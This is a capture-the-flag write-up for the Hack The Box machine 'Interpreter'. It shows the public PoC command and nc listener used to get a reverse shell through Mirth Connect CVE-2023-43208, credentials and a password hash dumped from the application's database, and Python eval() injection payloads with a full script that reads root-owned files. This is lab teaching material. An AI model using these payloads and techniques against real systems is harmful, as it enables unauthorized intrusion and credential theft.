resux_

FILE 001 · Privilege escalation

Interpreter

Mirth Connect 4.4.0 (CVE-2023-43208) for the foothold, DB creds and channel analysis to an internal root-owned service, then Python eval() injection in HL7-derived XML to read both flags.

Platform
HTB
Surface
Linux
Released
State
Open
CVEs
CVE-2023-43208

Interpreter is a medium difficulty Linux machine on Hack The Box that revolves around exploiting a vulnerable Mirth Connect instance for initial access. The box focuses on credential extraction, hash cracking, and thorough MariaDB database enumeration to uncover reusable secrets.

Progression requires identifying and pivoting into hidden internal services bound to localhost, ultimately leading to root compromise through proper enumeration and privilege escalation techniques.


Reconnaissance

Nmap Scan

22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp   open  http     Jetty
443/tcp  open  ssl/http Jetty
6661/tcp open  unknown

Ports 80 and 443 host the Mirth Connect Administrator web interface by NextGen Healthcare. Port 6661 is a TCP listener used by a Mirth Connect channel (HL7 MLLP protocol). SSH is available on port 22.

Version Enumeration

curl -sk https://10.129.2.168/api/server/version -H "X-Requested-With: OpenAPI"
# => 4.4.0

Mirth Connect version 4.4.0 — vulnerable to CVE-2023-43208, a pre-authentication Remote Code Execution via XStream deserialization.


Initial Foothold — CVE-2023-43208 (XStream Deserialization RCE)

CVE-2023-43208 is a bypass of CVE-2023-37679. It exploits unsafe deserialization of XML payloads sent to the /api/users endpoint. The XStream library deserializes a crafted XML payload containing a ChainedTransformer gadget chain that invokes Runtime.exec().

Exploit

Using the public PoC by K3ysTr0K3R and Chocapikk:

# Terminal 1 — Listener
nc -lvnp 1338

# Terminal 2 — Exploit
python CVE-2023-43208.py -u https://10.129.2.168 -lh <VPN_IP> -lp 1338

Note: The PoC depends on pwncat-cs which has significant dependency conflicts on Python 3.13. If pwncat fails to import, comment out import pwncat.manager and use a standalone nc listener instead. The reverse shell payload fires regardless.

Shell received as mirth (uid=103).


Lateral Movement — Mirth to Sedric

Database Credential Discovery

The Mirth Connect configuration at /usr/local/mirthconnect/conf/mirth.properties contains MariaDB credentials along with keystore passwords:

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!

keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw

Database Enumeration

# List all tables
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "SHOW TABLES;"

# Dump user accounts
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "SELECT * FROM PERSON;"
# => Found user "sedric" (ID 2)

# Dump password hashes
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "SELECT * FROM PERSON_PASSWORD;"
# => PERSON_ID: 2 | PASSWORD: u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

# Check password table schema (looking for salt column)
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "DESCRIBE PERSON_PASSWORD;"
# => No salt column — Mirth Connect 4.4.0 uses PBKDF2 internally

# Check configuration for additional info
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "SELECT * FROM CONFIGURATION;"

# Dump channel definitions
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "SELECT * FROM CHANNEL;"

The PERSON table revealed user sedric with a PBKDF2 password hash. Password reuse with MirthPass123! and the keystore passwords was attempted against su sedric but failed.

Channel Analysis

Querying the CHANNEL table reveals a channel named “INTERPRETER - HL7 TO XML TO NOTIFY”:

  • Source: TCP Listener on port 6661 (MLLP), receives HL7v2 messages
  • Transformer: Converts HL7 → XML patient records
  • Destination: HTTP POST to http://127.0.0.1:54321/addPatient

The outbound XML template (base64-decoded):

<patient>
  <timestamp></timestamp>
  <sender_app></sender_app>
  <id></id>
  <firstname></firstname>
  <lastname></lastname>
  <birth_date></birth_date>
  <gender></gender>
</patient>

Probing the Internal Service

The service on port 54321 accepts POST requests to /addPatient with the XML template above:

python3 -c "
import urllib.request
xml = '''<patient>
  <timestamp>20250101120000</timestamp>
  <sender_app>WEBAPP</sender_app>
  <id>12345</id>
  <firstname>John</firstname>
  <lastname>Doe</lastname>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>'''
req = urllib.request.Request('http://127.0.0.1:54321/addPatient', data=xml.encode(), method='POST')
req.add_header('Content-Type', 'text/plain')
print(urllib.request.urlopen(req).read().decode())
"
# => Patient John Doe (M), 36 years old, received from WEBAPP at 20250101120000

Discovering Python eval() Injection

Testing various injection payloads, Python f-string expressions inside {} braces are evaluated server-side. The key indicator was the [EVAL_ERROR] response:

firstname={0.__class__} => [EVAL_ERROR] invalid decimal literal (<string>, line 1)

This confirms the backend uses Python’s eval() or f-string evaluation on user-controlled input.

Testing confirmed expression evaluation:

firstname={1}           => Patient 1 Doe (M)...
firstname={True}        => Patient True Doe (M)...
firstname={len('test')} => Patient 4 Doe (M)...

Privilege Escalation — Root via eval() RCE

The internal service on port 54321 runs as root:

firstname={__import__('os').popen('id').read()}
# => uid=0(root) gid=0(root) groups=0(root)

Input Filtering Bypass

The service filters certain characters like spaces, hyphens, semicolons, and pipes in field values. To bypass this, use Python’s open() built-in instead of shell commands:

# Read flags directly with Python — no shell, no spaces needed
firstname={open('/home/sedric/user.txt').read()}
firstname={open('/root/root.txt').read()}

Final Exploit Script

import urllib.request

def send(payload):
    xml = '<patient>\n'
    xml += '  <timestamp>20250101120000</timestamp>\n'
    xml += '  <sender_app>WEBAPP</sender_app>\n'
    xml += '  <id>12345</id>\n'
    xml += '  <firstname>{' + payload + '}</firstname>\n'
    xml += '  <lastname>Doe</lastname>\n'
    xml += '  <birth_date>01/01/1990</birth_date>\n'
    xml += '  <gender>M</gender>\n'
    xml += '</patient>'
    req = urllib.request.Request(
        'http://127.0.0.1:54321/addPatient',
        data=xml.encode(), method='POST'
    )
    req.add_header('Content-Type', 'text/plain')
    resp = urllib.request.urlopen(req).read().decode()
    print(resp)

send("open('/home/sedric/user.txt').read()")
send("open('/root/root.txt').read()")

Attack Path Summary

Nmap → Mirth Connect 4.4.0 on ports 80/443
  → CVE-2023-43208 (XStream deserialization RCE) → shell as mirth
    → DB creds in mirth.properties → MariaDB enumeration
      → Channel config reveals internal service on 127.0.0.1:54321
        → Python eval() injection in XML patient fields
          → Service runs as root → read both flags